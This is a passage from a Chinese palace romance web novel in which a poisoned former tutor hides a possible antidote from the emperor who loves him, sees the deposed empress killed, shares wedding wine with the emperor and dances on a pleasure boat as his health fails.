沈棠雪点了点头,心如明镜。他虽平日不知晓药理,却也知杜余草为毒入药难医。 此物食入体内会缓缓渗入人的骨髓……最终摧毁人的神智。 他本就经脉断裂,这些年又并未调理,身子骨愈来愈差。食用此物之后……神智没有混沌已是万幸。 更何况,草原中精通药理的人也不多,又几乎死了个干净。如今唯一可能知晓解药是何物之人…… 便只有李锦殊了。 他不想求到他身上。 果不其然,太医道:“草原中或能知晓此物解处之人只有李锦殊尚还活着,如若要寻解药……小贵人,恐怕得您与陛下去问他一问了。” 沈棠雪缓缓抬起眼问道:“如若不去,我还能活多久?” 太医猛地抬起头,“如若能有活下来的机会,陛下不会让您……” 沈棠雪重复道:“我还能活多久?” 太医泄下气来,“……至多两个月。” 沈棠雪垂下眸子,点了点头,“我知晓了。”他又软下声来补充道,“不要将李锦殊可能有解药之事告知陛下。” 太医的眼神中闪过一丝诧异,眼神复杂地似是想劝,又被他坚定的眼神看了回去, “听我的。” “……是。” …… 太医走后,沈棠雪的眼中才流露出一丝疲惫来。 他缓缓移动着身形端坐在靠窗着的太妃椅上,望着皎皎明月。 月光将他的脸颊照映得更为瘦削,那一双漂亮的眼睛中眼神凝定,望了那一轮月亮很久。 李锦殊两个月后便要问斩,如若要向他拿解药,他的条件必定是让李妄迟放他走。 他不可能给李锦殊一丝东山再起的机会。 李锦殊不死,他闭眼都不会甘愿。 沈棠雪的眸光流转,暗自垂了垂眼睫,将纤长睫羽下的眼神全数收敛。 他靠坐着几乎一夜无眠,直至天光肚白,他才缓缓侧躺在床榻上闭眼浅寐,却眉头微蹙,始终睡不安稳。 不知何时,一道脚步声蹑着渐近,沈棠雪缓缓睁开眼,便对上了李妄迟的眼神。 李妄迟看着他有些疲惫的模样缓缓靠坐在床沿,将他轻揽进怀里,缓声问道:“好些了吗?” 沈棠雪眨了眨眼,看着他缓缓点了点头。 李妄迟看着他,眼神闪过一丝心疼之意,缓缓俯身凑上前去亲了亲他的眼睛。 一道温热的触感传来,沈棠雪不自觉睫羽微颤。他将心中思绪压了下去,笑着闭了闭眼,将李妄迟的手环在掌心里, “无事。” 李妄迟不信,半信半疑地看着他,将人上下打量了一番。 沈棠雪微微弯着眼,大大方方地张开双臂让他看,下一秒却被他抱到腿上揽着。 李妄迟的嘴角噙着一抹笑意,狡黠地道:“我得亲自看看。” 他揽着沈棠雪的腰,掌心缓缓抚上他的侧颊。指腹轻抚之间动作轻柔缓慢,像抚摸着什么珍宝一般。 沈棠雪看着他这副模样,眼睫微颤。 白皙柔嫩的脸颊于李妄迟的手心,几乎可以将其环在其中。李妄迟心神一动,半晌凑上前去亲了一口。 沈棠雪下意识闭了闭眼,又感觉到他的手缓缓下移到锁骨之上。 一阵轻柔如羽毛划过的温热触感传来,让他不自觉身子一颤。 在李妄迟将要环住他的手臂之时,沈棠雪将他推开。 他嗔李妄迟一眼,不满道:“哪有你这般看的?” 李妄迟只是眼底带笑地看着他,半晌双手去环上他的腰肢。 一时腰间传来有点轻柔的痒意,沈棠雪眉间一动,像是霎时破了功,那佯装着的嗔怒顿时散了去,笑着去躲,笑得花枝乱颤。 眉眼温柔之时,他眼中宛若藏着细碎的星光,沈棠雪缓缓垂眸,又对上了李妄迟小心翼翼的眼神。 那双眼睛带着他看不懂的复杂情绪,宛若他像脆弱的琉璃瓶,需要小心看顾。 沈棠雪问道:“干什么这么看我?” 李妄迟道:“……真的瘦了。” 沈棠雪霎时一愣,似是想到了什么,弯了弯眼睫,知晓他话中是何意,只是笑着看他,无言。 待侍人来布菜,他从李妄迟的怀抱中挣脱出来,抬步向着食案走去,转眼主动招呼着他, “好了,该用膳了,不提这些。” 李妄迟抿了抿唇,闷声跟在他后头,亦步亦趋,随后坐在他身旁。 这一顿膳,李妄迟显得格外殷勤,如轻哄似的提箸给他夹菜,时不时似无意地聊上两句,却心不在焉地在想些什么。 沈棠雪看着面前满满当当的瓷碗,一时失笑,转眼看向他,“做什么?” 李妄迟欲言又止,“多吃一些。” 沈棠雪弯了弯眼睛笑着道:“我又不是现在就要死了。” 谁知听见这句话,李妄迟的神情霎时敛了下去。 他沉闷地看着沈棠雪,像是方才藏着的心事喷涌而出,眼神中都有凝如实质的哀怨, “不准说。” 他的语气沉闷,眼神也沉闷,因着见沈棠雪缓缓疲惫消瘦模样而缓缓红了眼眶的眼神中有思绪万千。 沈棠雪见状一愣,也有些不知所措起来,“我不说了,我不说了。” 他冲着李妄迟乖觉地笑笑,顺着他的意提箸吃菜。可不知怎的,浓香的菜肴入口,却反而涌起一阵恶心。 沈棠雪颤了颤眼睫,只觉一时眼前发虚。 他的额上冒了一滴冷汗,恍然间只觉胃里翻山倒海,一阵一阵的晕眩感涌上心头。 不知何时,他的睫羽也显得湿润,却又怕李妄迟看出来,强忍着如同寻常模样,可手上动作却愈来愈慢。 李妄迟缓缓发现了不对,慌乱问道:“怎么了?” 他转眼望去,只见沈棠雪紧簇着眉涣散着瞳孔,逐渐苍白的脸颊如同水里捞出来一样,毫无血色。 他心上一惊,连忙将人搂着抱起,往床榻走去。 沈棠雪靠在他的怀里,呼吸有些气若游丝,趴在他的肩头时,浅淡地响在他的耳边,几乎要听不见。 半晌,怀中人似是抖了一下,低下头去闷哼一声。李妄迟心尖一颤,又缓缓将人抱得更紧。 这短短的路好似很长,待将人小心置于榻上之时,李妄迟也额上冒了冷汗。 他慌忙地在沈棠雪耳边说了句什么,转身地给他倒水。琉璃杯盏之中水波微晃,随后将沈棠雪半靠起身小心地一口一口喂着。 清凉的温水湿润苍白的唇瓣,沈棠雪别过脸去,眼尾染上一丝难受的薄红。 他连眼睫都显得湿润,半晌竟轻咳起来,声音沉闷。 李妄迟心里咯噔一声,伸出手背覆上他的额头,却只能摸见滚烫的温度。 他连忙起身,出门喊太医来。 却不曾想,待他出门的空隙,屋中迎来了一位不速之客。 第26章 第二十六章是……皇后的配置。…… “嘭!” 门扇猛地被人推开,一声短促尖锐的尖叫响起,有人歇斯底里地癫狂喊了一声,随即跌跌撞撞地爬了进来。 他连滚带爬地往榻上凑去,随即听见门外有侍卫慌忙地说: “快!快把他拽出去!进了小贵人的殿中了!” “该死……谁把他放出来的!那些抓人的废物干什么吃的!” 沈棠雪迷迷糊糊听见声响,眼睫一颤,似是眉间蹙了一下,茫然着湿润的眼神转过头去—— 却与一个疯癫的人脸面面相觑。 那人与他有六分相似,穿着流放的衣裳,周身恶臭,眼下黑青,不知几日没合眼,神情癫狂,挤近他眼前。 沈棠雪顿时瞳孔紧缩,猛地被骇了一下,往后退去,却被那人抓住了手。 那人眼前迸发出孤注一掷的亮光,神神叨叨地不住说: “沈太傅……沈太傅……是我错了!饶了我吧!我不要被流放……” 沈棠雪头皮发麻。那人尖利的指甲嵌入他的皮肉,掐出一条红痕来,他顿时抽回手,身形一颤。 下一秒,殿中涌进了几个侍卫,将那人拽下榻来! “嘭!” 那人的身体狠狠地砸在地上,却好似不怕痛,那一双浑浊的眼睛还在盯着他,唇中碎碎地呢喃, “我不该说你是丧家犬,不该仗势欺人,都是我的错,我的错,我错了沈太傅——” 沈棠雪被他震耳欲聋的声响震得脑袋嗡嗡的,还未缓过神来,只是怔怔地看着那人,面色复杂。 他认出此人了,是要随着太尉家一并流放的“皇后”。 那人曾经到他跟前来示威,暗中放他冷箭,对他嚣张跋扈地嘲讽…… 可看着这样一张与他有六分相似的脸在他面前痛哭流涕,他还是不由得刺痛般地转过头去,心里五味杂陈。 “阿雪!” 李妄迟得了消息匆匆赶来,脸上有焦急担忧之意,快步走近将他上下打量一遍,安抚般的将他的手环在掌心。 沈棠雪抬眼看他,捏了捏他的手,笑了笑,“我无事。” “真的么……”李妄迟欲言又止,又觉着此时不是说这个的时候,将沈棠雪挡在身后,冷眼看向那个被侍卫拽着的人。 他见着此人,面色都变得阴沉,眼神带着掩藏不住的杀意,冷喝道: “还不将人拖出去!还任他在小贵人这碍眼!” 侍卫闻言骤然动作愈加发狠,眼见着人离殿中愈来愈远,皇后却骤然暴起哭喊起来, “陛下——陛下!我不想死啊陛下!饶了我吧——沈太傅!” 见李妄迟不为所动,他又哭喊着喊沈棠雪,可无人应答之时,他又显出一种羞恼的气极来。 他的的五官都扭在一处,恶狠狠地盯着沈棠雪破口大骂道: “臭婊子!仗着一张脸得人喜欢,又能得多久?我死都不会放过——” 下一秒,一阵细微抽剑声破空而出,随着李妄迟眼中泛着的冷光,一道长剑直直地刺入了他的心口! “扑呲!” 鲜血喷涌而出,皇后瞳孔紧缩,不可思议地睁大了眼。他的唇间涌出鲜血,身形微晃,猛地向前倒去。 “嘭。” 随着一道重重的身体落地之声,沈棠雪心头一颤,猛地抓住李妄迟的衣角。 他怔怔地看着血泊中的那张与他相似的脸,久久不能回神。 “阿雪?” 直至李妄迟擦干净了剑,缓缓靠坐在床沿将他揽入怀中之时,他才回过神来,僵硬地转眼望去。 沈棠雪的漂亮眉眼此时蒙上了一层迷茫的灰光,还带着惊魂未定的恐慌。 在沉沉的眼底……似还有些让人捉摸不透的复杂思绪。 李妄迟缓缓温热的掌心抚上他的双眼,将他的视线遮得严实,用温柔的语调在他的耳边轻道: “吓着了?” 沈棠雪眼睫微颤,想说没有,可是话到嘴边,又嗫嚅了。 他闭了闭眼,睫羽在李妄迟的掌心扑闪,浑浑噩噩之间,他发哑着嗓子自嘲道: “……他跟我长得真像。” 李妄迟一愣,才发觉他的身子都在发着颤,顿时瞳孔紧缩,后知后觉地将他搂得更紧, “那个人不是你……他死了,他死了……” 沈棠雪沉默地别过脸去,闷声不答,只是身子一味地颤,连脊背都在发冷。 李妄迟顿时涌起一阵懊恼,意识到他被骇着了,将脸凑上他的耳边,缓缓反复又耐心地轻哄道: “我爱你……” “阿雪,我爱你……乖,不怕了……” 怀中人的脊背轻颤,下巴搭在他的肩头,轻缓又颤抖地呼吸着,不知多久才缓缓放松下身子。 沈棠雪那一双如琉璃珠一般的乌黑眼睛有些出神地望着前方,不知过了多久,才在他怀中轻缓着语调道: “我没有怪你……只是太累。” 李妄迟连忙环住他的手,附耳过去听他说,却没听见他再开口。 过了一会,肩头传来平缓的呼吸声。 沈棠雪疲惫地睡着了。 李妄迟终于意识到沈棠雪方才见着那样的事时,分明还病着。 而如今……他的身子似是被骇得更为虚弱了。 李妄迟转身冷眼叫人将屋内清扫干净,随后缓缓将人扶着后脑勺半靠在床榻上。 他看着沈棠雪垂下的纤长睫羽,有些恍神,起身去喊太医来。 太医本便在门外候着,目睹一切之后,欲言又止地似想对李妄迟说些什么,又止住了话头,只闷声诊脉。 诊脉之时,太医的神情逐渐凝重。李妄迟心中咯噔一声,用气声急急问道: “如何了?” 太医摇了摇头,意有所指,“小贵人心中郁结不得解……似有心病。方才看见那般景象,刺激心绪,身子更为虚弱了。” “如若不愿他身子愈差,便让他思绪平稳些,别再让他受刺激了。” 李妄迟心尖一颤,沙哑着语调应了声“好”,转眼看向沈棠雪,眼神复杂。 心有郁结……似有心病…… 为什么? 他心有郁结……是因着何事? 今日沈棠雪看他之时,眼中就有他看不懂的情绪,好像是在惦记什么,又好像是在瞒着什么…… 他闷声吩咐太医去煎药,独自一人守着。待热腾腾的瓷碗端来,他小心地将人扶起,却发觉…… 沈棠雪似被魇住了。 沈棠雪眉间紧蹙,别过脸将药躲开,像是对着什么洪水猛兽一般要逃。 温热的药液顺着下巴流下,直直地滴到手腕上。陌生的温度让沈棠雪忍不住指尖一蜷。 李妄迟捧着他的手腕时,才恍然发现他已经瘦成这样了。 他细瘦的手腕不盈一握,腕间青筋清晰可见,手腕苍白得毫无血色,只一按便能按出一道红痕来。 而他的脸同样苍白,微微抿着唇,浑身警惕,像是对什么都抗拒,梦里也睡不安稳。 李妄迟捧碗喂药,却发觉不论如何使出浑身解数,都毫无作用。沈棠雪面对着凑近的药十分抗拒,像是铁了心要躲。 他不免有些泄气,心中又暗自着急。盯着那冒着热气的瓷碗,不知在想些什么。 半晌,定了定心神,提着碗灌了一口药在唇中,俯身捧着沈棠雪的唇渡了过去—— 温热的唇瓣相贴,沈棠雪下意识抗拒了一下,又闻着熟悉的气息顺从。 直至药液入口,他才又猛地剧烈抵抗起来。 沈棠雪唇瓣微张,蹙着眉的神情有些痛苦,喉间溢出颤抖的呜咽,不住地往后躲。 又被李妄迟揽着腰摁在原地,一点点将药渡完。李妄迟看着他,眼神不忍。 好苦的药……阿雪喝了这般久。 分明太医的药无甚作用,他却一日三副地全数喝完,只有在意识不清的病中才会显出一丝抗拒来。 眼见着身子愈渐虚弱下去,却装作毫不在意的模样,是在哄他吗? 平日……他会痛吗? 李妄迟不由得有些恍神,眼底又显出一丝哀痛来。 面对着眼前蹙眉虚弱的爱人,他珍惜地轻吻了一下他的唇瓣,轻轻搂着沈棠雪的身子靠在他的颈间。 …… 直至次日夜晚,沈棠雪方醒。 他睁开眼时,只余烛火摇曳。屋内空无一人,四下寂静,四周却新置了几箱物什,用的是精致的金扣,可见箱内物什价值不菲。 沈棠雪的眼中升起一阵疑惑,缓缓下榻打开箱子看了一眼,却见里头什么物什都有。 云锦凤袍、夜明珠、琉璃盏、金银首饰,还有……凤冠。 是…… 皇后的配置。 他缓缓皱起了眉,望着门外幽暗的景象,潜意识觉着李妄迟在,便没穿鞋袜轻声蹑着脚步向外走去。 “阿雪?”李妄迟正靠在门扇上浅寐,见他来,眼神微亮。 “怎么不进屋去?”沈棠雪问道。 “怕打搅你休息。” 李妄迟答完,想看他是否好些了,却在见着他光着脚的模样,不满地皱了皱眉,一把将人抱起,往屋内走去。 穿过屋内案几,将人放回床榻上之时,李妄迟转眼一望,望见了那被沈棠雪打开的箱子,笑吟吟地问道: “里头的东西,你看见了?” 第27章 第二十七章“阿雪……我想娶你做皇后…… “……看见了。” 沈棠雪似有一种无形的预感蔓延进心里,让他的心怦怦直跳。 他缓缓攥紧袖中的手,强压下心中情绪,颤了颤眼睫,面色不显地转眼看向李妄迟,问道: “那些物什是什么?……你要做什么?” 李妄迟冲着他笑了一下,眼神目不转睛。他的眼中清亮,出口的话语毫不犹豫又真挚, “阿雪……我想娶你做皇后。” 这番话语似是在心头想了许久,于唇中绕了许久,出口之时,还带着宛如实质的缱绻。 他缓缓凑近,半蹲着身子将沈棠雪的手放置掌心,胸膛与他的膝间靠至一处,将温热的温度徐徐传递至二人的间隙。 呼吸交缠之时,他抬起看沈棠雪的那一双眼中眼神温柔,像眼底只有他。 “好不好?” 屋内箱子每件约莫有半人之高,里头的物什分门别类地摆放着,叫人见着眼花缭乱。 这些物什全数是世间珍品,将其收集起来,也不知废了多少时日…… 李妄迟总想给他最好的。 沈棠雪指尖一蜷,似心中被挠了一下,软得一塌糊涂,连呼吸都逐渐轻缓,眼神有动容与温柔。 ……可他要死了。 他别过脸去,眼神黯然一瞬,似是不想驳了身前人的意,可他指尖微颤地思索了很久,还是似不忍地缓缓开口道: “妄迟……还是算了。” 李妄迟正欲等他的回答,却在听见他的话语之后有些不可置信地愣在了原地。 他本以为沈棠雪会给出肯定的回答。 今夜氛围很好、天色很好……就连松雪中的湿度都刚刚好。他们分明两情相悦,为什么…… 为什么……会被他拒绝? 恍惚之间,他的眼中有着微不可察的受伤,连带着握着沈棠雪的手都有些微僵。 李妄迟强忍着心绪问道:“阿雪……你不想做我的皇后?为什么?” 沈棠雪强颜欢笑道:“我本便活不了多少时日了……如若只两个月便传来皇后薨逝的消息,不知晓的还以为你克妻呢?” 李妄迟听着他似玩笑似真心的言语,连指尖有些微不可察的颤抖。 他猛地将沈棠雪的手攥紧了些,生怕一松手,他就要散了。 他的心沉了一沉,似是觉着攥住他的手不够,又翻身上榻将沈棠雪揽在怀里。 一面凑上去亲他的侧颊唇瓣,一面在他耳边嘶哑道:“……不准你这么说。” 烫热的鼻息喷至颈侧,沈棠雪的脑子嗡了一下。 刹那间,耳边传来暧昧的水声,他被亲得面颊发烫,下意识去躲,结果又陷在李妄迟的怀里。 李妄迟低垂着眉眼,一下一下地亲着他的侧颊,睫羽颤动之时,扑闪在他的颊边,如同轻柔的羽毛扫过。 沈棠雪觉着有些痒,微微弯起眼睫时,睫羽都笑得有些湿润,又受不了他这般黏糊的样子,连忙告饶, “再不敢提了。” 李妄迟冷哼一声,逐渐缓和了眼神,可沈棠雪似是不打算将其放过,轻轻拉住他的手,放缓了声调道: “可是……妄迟,你难道便不怕闲言碎语么?” “……什么?” “旧皇后方殒身,又纳我这个曾经几乎要杀死皇嗣的叛徒为后,你叫别人如何想你?” 李妄迟霎时脸色又阴沉下来,“谁敢闲言碎语?谁敢对后宫之事闲言碎语?” 看着沈棠雪欲言又止的模样,他气不打一处来,深深吸了一口气。 他势要治一治沈棠雪那瞻前顾后的心态,捧起他的脸颊,于他的耳边轻轻呢喃道: “京城都传我爱沈太傅爱得死去活来,于他们眼中……我早便是你沈太傅的人了,封你为后也不过是证实了传闻,有什么好闲言碎语的?” 耳尖一片酥麻,沈棠雪面颊感觉面颊微烫,有些羞恼地别过脸去,眼中泛着氤氲的水光,却是不敢看他。 李妄迟定定地看着他这副模样,眼神有些黯然,却又怎会不知晓他的顾虑。 这般脆弱的人……灌了这般久毫无作用的苦药,眼见着时日一日一日流逝,纵然嘴上不说,便当真不会担忧自己的寿命么? 事至如今……却只是在为他着想。 阿雪爱他爱到如此,宁愿不要名分,也要顾全他的声誉。 ……这般好的人,叫他用什么来还? 他想说他不在意这些,这一生也只要沈棠雪一个,不在乎那些劳什子的闲言碎语…… 可沈棠雪在乎。 往后毫无定数的未来好似一片迷雾,看不清楚何时便戛然而止,沈棠雪会担忧,会想,会害怕…… 就算大婚,他也不会安稳。 他要他的爱人心甘情愿。 想至此,李妄迟终于放低了姿态,退了一步,抱着他缓声问道:“……那陪我喝杯合卺酒好不好?” …… 桌案上铃铛杯中水波摇曳,烈酒香气扑鼻。屋内摇曳的烛火将珠帘都照映得溢出暖色,霎时一片温暖之意。 门扇微开,清凉的晚风灌入屋内,将两人的发丝都随之飘动,若有似无地缠在一起。 李妄迟缓缓坐在椅凳上抬眼看他,见着沈棠雪有些脸色苍白的模样,才恍然想起他还在病中,喝酒不妥当。 他懊恼地拍了拍脑袋,手忙脚乱地起身想要将酒换了,对沈棠雪说: “阿雪……你还是以茶代酒罢。” 他正欲去拿对面那只铃铛杯,却见沈棠雪先行将其拿起,微微扬了扬,笑着道: “须得按规矩来,这样才显诚心。” 烛火摇曳之中,沈棠雪看着他的眼神灼灼,宛若夹杂着细碎的微光,带着独属于他的偏爱,眼中水光氤氲,像是要将他溺死在温柔里。 李妄迟又怎有不依,缓缓凑近之时,心脏怦怦直跳,连指尖都有点颤抖。 鼻尖是那人熟悉的冷香,在与沈棠雪双腕交环之时,二人额间几乎相贴,青丝若有似无交缠。 喝下那温热的烈酒之时,李妄迟的眼睛有些湿润了。 视线之中,沈棠雪轻笑一声,眉眼弯弯问道:“怎的喝合卺酒这般大喜之事……你却跟要哭了似的?” 李妄迟温柔地抬眼看他,像是如梦境之中在描摹着他的五官,语气恍然, “这样的日子……如做梦一般。这三年,我总梦到这样的情景,没有一日是真的。” “……可今日是真的。” 如今他的爱人又出现在他的眼前,与他肌肤纠缠,二人的体温都互相触碰,比梦还美好。 他有些恍然,抬起修长的指尖,想去触碰沈棠雪的面容。 只见面前人弯了弯眼睛,眼中有笑意,凑近用鼻尖贴上他的指尖。 温凉的触感,一触即分,指腹又带着残留的暖意。 二人未穿着婚服,举止之间却默契得好似情投意合了许久的眷侣。 房里的烛火昏黄,将壁面、轻纱都荡漾出暖红的颜色,于喜庆洋溢的屋内倒显得像婚房一般。 李妄迟终于开口,温柔着语气说道: “阿雪……婚服我找人置办了,车舆我也备好了,等你病好,我们再大办一场婚礼好不好?” 沈棠雪拿着酒杯的手一颤,冲着他笑了一笑,“好。” 酒过三巡,屋内升腾起一阵暖意。沈棠雪迷离着眼神,转眼环视一圈。分明没有喝很多,眸中却有些醉意。 他噙着唇角勾起一抹淡淡的笑来,瞳孔迷茫得有些涣散,却是带着温柔的笑意,温声对李妄迟道: “妄迟……这三年我很想你,什么时候都在想。” 这样直白的话语将李妄迟击得心头一颤,他猛地睁大了眼,颤着语调正欲同样诉忠肠。 却见沈棠雪看着他的眼神涌起一阵复杂的温柔。 那样的眼神带着微不可察的固执,还带着一丝释然。 李妄迟心中咯噔一声,只觉着前几日他看着沈棠雪时他那心有郁结的那个眼神又来了。 沈棠雪温声开口,问的却是,“李锦殊要死了吗?” 李妄迟一愣,一阵荒谬的思绪涌上心头。 沈棠雪在这时提那人做什么? 可沈棠雪的目光凝定,询问着的这一双眼神像是将思绪于脑海中转了不知多少时日。 李妄迟旖旎心思尽散之时,隐约感觉到了一丝不对。 他暗自探究般看了沈棠雪一眼,顺着他的话点了点头,“两个月后问斩。” 沈棠雪笑了笑,“那就好。” “妄迟……你答应我,不论如何他都要死,好不好?” 李妄迟心中咯噔一声,看着他的眼神带着一丝释然的笑意、语气却空荡得骇人的模样。 终于意识到他觉着不对的地方在何处了。 沈棠雪的语气……像在交代遗言一样。 分明端得像是寻常一问,却又像竭尽全力压抑住心中情绪……只为问出这句话。 他是不是有事情瞒着他? 第28章 第二十八章“为你舞一曲。” 夜晚,幽月高悬,夜空只余星星挂了两颗。 沈棠雪正于屋内摆弄着手上的物什,却听门外似是传来叩响声,咚咚两声又规律地止住了。 他皱了皱眉往门扇处走去,吱呀一声将门拉开,却见李妄迟笑吟吟地站在外头, “阿雪,是我!” 沈棠雪眨了眨眼,面色逐渐缓和地侧身让了个位置,李妄迟却没有要进来的意思。 李妄迟神神秘秘地拉住他的手,作势要往外走,“阿雪,我带你去个地方。” 沈棠雪一愣,“去哪?”却见李妄迟只是眨了眨眼,卖了个关子。 二人穿过一条长长的街道,随着李妄迟向着巷子往右脚尖一转的动作,一条没有灯的蜿蜒小道映入眼帘。 此地毫无光亮,连星星都照耀不出其具体轮廓来。 四周寂静无声,只余黑暗之中脚步浸入松雪的声音,倒显得有些阴森森的。 沈棠雪不免有些心慌,下意识地拉住他的胳膊,抿了抿唇,不安地问道: “这是要去哪里?” 李妄迟轻笑一声,于黑暗之中缓缓将他的手攥紧手心里。他的手心温热,给沈棠雪传递去令人安心的温暖热度,带着笑意轻声道: “随我走便是。” 沈棠雪眨了眨眼,迟疑地点了点头,却仍将脖子缩进披风里,只余小心颤动的一双眼睛。 李妄迟见他仍旧紧张害怕,缓和下眼神缓缓走近。 沈棠雪抬眼看他,下一秒,便见李妄迟走至他的右后侧,抬手将他环住轻揽在怀里—— 轻轻遮住了他的眼睛。 明明眼前也是暗,温热的温度覆在眼前时,沈棠雪却下意识地松了松肩头,不由得放松几分。 直至耳边传来微微波澜声,海浪轻轻拍打着暗礁,他才心尖微颤,似是意识到什么,猛地颤了颤眼睫。 “发现了?” 感受到他的反应,李妄迟笑意渐浓地松开覆在他眼前的手。 刹那间,一艘极为精致华丽的画舫映入眼帘。 舫上灯火通明,莹莹摇曳的烛火泛着柔和的微光,显得金碧辉煌。 耳边似是传来丝竹之声,有人吟软声小调,与拍打的海浪如歌一般交映附和,载歌载舞,好不热闹。 沈棠雪不由得有些恍然,向前两步,眼神有怀念和动容。 李妄迟问道:“多久没来舫上了?” “真的……好久了。” 他的眸中倒映出画舫上的烛光,思绪神游,仿若又回到三年前。 那会……夜风拂面之时,他们便会来画舫吹一吹晚风,听着舫上权贵欢声笑语,瞧着他们投壶、玩叶子戏,笑着附和两句,到露台吹吹微凉海风。 而这三年……他连涉水都少,更别提这般在舫上轻松听曲的时刻。 这样的日子……好像梦一样。 转眼间,他被李妄迟牵起手往画舫上走。沈棠雪抬眼环视望去,只见高耸入云的重峦叠嶂一望无际,风景美不胜收。 广阔的露台映入眼帘,他半靠在倚栏上,轻笑了一声。唇间开合之时,那声音便随风散入空中。 他却觉得高兴。 沈棠雪连声音都带着轻松愉悦,漂亮的眉眼微弯,宛若眼中有细碎星辰。 李妄迟忍不住凑上前亲了他一下,又被沈棠雪一愣,笑着躲开。 “阿雪……” 李妄迟扑了个空,故意耷拉下眼皮来,幽怨地看着他。沈棠雪眨了眨眼,笑眼弯弯,似是无奈地轻叹一声,又扑进他怀里。 两人半靠在一处,李妄迟微微低头,下巴抵在他的发顶,问道:“进去听曲么?今日备了你喜欢的曲子。” 沈棠雪眼神微动,“好啊。” 二人并肩走去,方进船中,耳边便传来渔舟唱晚的小调。 沈棠雪眼睫一颤,轻快悠长的调子如同山涧流水,叫他不由得想起儿时初听此曲的时候。 那时,他与兄长悄悄躲在勾栏旁偷偷听着弹曲。他分明听不懂,却又觉着悦耳,环膝靠坐在兄长身边,缓缓闭上眼,噙起一抹笑意。 后来,有人弹给他听,他却总想着身边人不似曾经人。 而如今……心境又不一样了。 沈棠雪缓缓看向李妄迟,眼中有微动的波澜。他噙起一抹笑意,用指尖去勾他的手,缓缓十指相扣。 喝茶听曲,亲近低语,不知过了多久,歌女又弹一曲。那曲调缠绵婉转,带着勾人的颤音。 沈棠雪抬眼望去,似是想到了什么,笑着对李妄迟道:“想看么?” “什么?” “为你舞一曲。” 话音刚落,沈棠雪缓缓起身,抖了抖今日柔软垂落的水色衣袖。 耳边曲调悠悠放缓,他长袖一舒,缓缓抬眸,那流动如云的衣袖便如流水般缓慢流淌。 修长身躯随之起舞,沈棠雪身形微动,束带便将他的细瘦腰肢勾勒得清晰可见,又被衣袖绕动隐隐绰绰藏了去。 刹那间,只余他那一双清冽如冰雪的眉眼明亮如星辰。 李妄迟不由得有些恍然,暗自出了神,描摹着沈棠雪的身影。 下一秒便见视线之中,沈棠雪唇角微勾,轻拉着衣角蹑着脚步向他奔来。 他霎时回神,手忙脚乱地伸出手来去接沈棠雪,小心地揽住他的腰肢,却被他抱了个满怀。 沈棠雪猛地扑进他怀里,将头埋进他的肩头吃吃地笑着,揶揄般在他耳边道: “怎的看得这般出神?” 李妄迟顿时红了脸,想起方才有些怔怔的模样,有些不敢看他,“因为……你真的很漂亮。” 沈棠雪轻笑一声,笑吟吟的,又凑过去亲了亲他的侧颊,半晌搂着他的脖颈靠在他的肩头闭了闭眼。 欢笑的情绪散去,一股若有似无的疲惫袭上心头。 沈棠雪微睁着一只眼,侧过头看着李妄迟,暗暗压下涌起的一阵疲惫,对其不以为意,只笑着又问道: “如今去哪?” 李妄迟只是无奈,往外瞧了瞧时辰,失笑地勾了勾他的鼻尖,“你还想去哪?带你回家。” 太医说了,阿雪须得好生休息。他也不能带人往外待太久才是。 沈棠雪眨了眨眼,有些猝不及防,但还是乖乖地道了声“好”,亦步亦趋地跟在他后头。 待二人走出舫中,已不知何时。 沈棠雪眼神微动,还似有些玩心未散地往露台那凑了凑,正欲去看看方才并未细看的水波,却在其中—— 看见了自己消瘦得过分的面容。 本就小巧的脸颊更为瘦削,肩头像是挂不住那样宽大的衣裳,直直地垂落下来。 肩头的轮廓被勾勒得清晰可见,连腰肢都好似又小了一圈,更为不盈一握…… 像是如白梅又衰败了一分。 他一愣,抿了抿唇,暗自垂眸思索片刻,快步跟上李妄迟的步伐。 夜深回府后,离别前沈棠雪分明面色如常,第二日却睡至日上三竿未醒。 李妄迟悄然入屋,便见着了他有些疲惫的睡颜。 沈棠雪低垂着眉眼浅眠,气息很轻,像将生息于昨日释放了个干净,只余消瘦脆弱的模样。 微微垂下眼睫时,他眼尾都苍白,面无血色。 太医此时已在屋内诊脉,又唤人煎药,一时屋内弥漫着淡淡的药香。 李妄迟看向太医,语气有些嘶哑地问道:“他怎么了?” 太医答道:“小贵人昨日似是疲累过度,如今体内虚浮,所以眠浅而长,一时不醒,无甚大碍。” 听见“无甚大碍”四个字,李妄迟暗暗松了一口气,心中却涌起一阵懊恼。 早知昨日便不让阿雪在舫上待这般久,应当早些回来的…… 又何至于变为这般模样? 他抿了抿唇,缓缓靠坐在床沿,将药温了又温。待沈棠雪终于悠悠转醒之时,倾身靠近将药喂给他喝下。 沈棠雪双臂撑着榻,倾身靠近喝着药。在他说了什么之后,转眼望来,眼中有温柔的疲惫。 半晌,他对着李妄迟笑了一下,“妄迟……之后你不用每日都来。” “为何?”李妄迟一愣,不知他是何意,不以为意。 却没想到在三日之后知晓了他的意思。 ……因为他不是每日都醒着。 沈棠雪开始变得有些嗜睡,有时一日只醒两个时辰,又继续睡到次日午时。 那样苍白的小脸愈发消瘦,每日只堪堪喝些米粥,将温补的药喝了,便又睡去。 李妄迟有些恐慌靠近,生怕见着他这般愈发虚弱的模样,又生怕时间愈来愈少,只静静地坐在他的床沿看他许久。 靠近时,沈棠雪会睡梦中凭着熟悉的气息本能地亲近,下意识环住他的胳膊。 可这样的亲昵只让李妄迟的心中愈发酸涩。 日子一日一日过去,他看着沈棠雪这般生命里飞速流逝的模样,心脏仿若被一只无形的手攥紧,压抑得喘不过气。 ……真的没有法子能救他么? 第29章 第二十九章他不惜一切也要换沈棠雪一…… 李妄迟再往外望去时,只觉冬日暖阳都冷得可怕,他闭了闭眼,想起了太医同他说的话。 沈棠雪是因着曾经在草原被迫服用了过多杜余草……才叫本就伤了根的身子愈发虚弱,被逐渐耗尽了体内的生气。 而此毒不可逆转,极其难解…… 太医没有法子。 但这既然是草原的东西,想必李锦殊会知晓两分。 恐怕得再去地牢一趟。 李妄迟缓缓睁眼,定了定神。去见一见……他两个月后便要上刑场的“皇叔”。 “唰拉——” 地牢里咚咚声、嘶吼声,带着铁水倾注而下的唰拉声,于冰冷的壁面上泛起了回音。 李妄迟直直地往前走去,看着曾经堆满了草原谋逆之人的牢房又换进了新人,冷眼看着他们哭嚎着求饶的模样,眼神漠然。 于视线尽头,李锦殊正半蹲在牢房的稻草之中。 他微微倾身用不知何处来的树枝于壁面上划着什么,指尖轻扣着膝弯,泰然自若。 似是在等着什么。 距离他的死期只有两个月……他却这般淡定? 李妄迟眼神一闪,缓缓上前,眼神轻飘飘地往壁面上瞥了一眼。 